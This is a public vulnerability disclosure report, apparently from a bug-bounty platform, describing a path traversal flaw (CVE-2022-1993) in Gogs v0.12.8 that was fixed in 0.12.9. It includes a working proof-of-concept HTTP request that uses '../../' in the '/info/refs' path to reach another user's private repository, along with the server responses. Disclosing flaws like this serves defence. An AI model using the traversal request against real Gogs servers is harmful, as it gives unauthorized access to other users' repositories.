Path Traversal vulnerability on the endpoint '/info/refs' in gogs/gogs

0

Valid Reported on Jun 2nd 2022

Summary

It seems "gogs" suffers from a Path Traversal which may lead a malicious user to access another legitimate user's git config files or issue a couple of git commands on its behalf.

Steps to reproduce and Proof of Concept

I created two users *sim4n6* and *sim4n62*.
From *sim4n6* dashboard added *test2* repository. And, from *sim4n62* I added a *tests* repository.
Initiate the following GET request (PoC) using *sim4n6* authentication cookies.

```
GET /sim4n6/test2/../../sim4n62/tests/info/refs?service=git-receive-pack Hl
Host: localhost:10880
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/2010010
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <deleted>
```

You will get a `200 OK` status code:

```
HTTP/1.1 200 OK
Cache-Control: no-cache, max-age=0, must-revalidate
Content-Type: application/x-git-receive-pack-advertisement
Expires: Fri, 01 Jan 1980 00:00:00 GMT
Pragma: no-cache
Date: Thu, 02 Jun 2022 23:16:27 GMT
```

```
Content-Length: 216
Connection: close


001f# service=git-receive-pack
000000b1000000000000000000000000000000000000000 capabilities^{}
```

While in the normal (not malicious) case, *sim4n6* can initiate the following GET request:

```
GET /sim4n6/test2/info/refs?service=git-receive-pack HTTP/1.1
Host: localhost:10880

<deleted for brievety>
```

and get the following HTTP response:

```
HTTP/1.1 200 OK
Cache-Control: no-cache, max-age=0, must-revalidate
Content-Type: application/x-git-receive-pack-advertisement
Expires: Fri, 01 Jan 1980 00:00:00 GMT
Pragma: no-cache
Date: Thu, 02 Jun 2022 23:23:22 GMT
Content-Length: 218
Connection: close

001f# service=git-receive-pack
000000b3da9a744ed8f8d6883ca93758f3900028e61e9ad4 refs/heads/master
```

Even if the *sim4n62*'s repository is private, the same thing happens.

Impact

This Path Traversal can lead a malicious user to issue the route "/info/refs" on behalf of any other user. This is due to the line L301 (sink) provided directly from the service handler (source a URL).
This vulnerability has an effect somehow like a Horizontal IDOR.

CVE
CVE-2022-1993
(Published)

Vulnerability Type
CWE-22: Path Traversal

Severity
High (8.1)

Registry
Other

Affected Version
v0.12.8

Visibility
Public

Status
Fixed

Found by

Sim4n6
@sim4n6
amateur

This report was seen 951 times.

We are processing your report and will contact the **gogs** team within 24 hours. 6 months ago

Sim4n6 modified the report 6 months ago

A **gogs/gogs** maintainer has acknowledged this report 6 months ago

Joe Chen validated this vulnerability 6 months ago

Sim4n6 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

We have sent a fix follow up to the **gogs** team. We will try again in 7 days. 6

Joe Chen marked this as fixed in 0.12.9 with commit 9bf748 6 months ago

The fix bounty has been dropped ✕

This vulnerability will not receive a CVE ✕

Sign in to join this conversation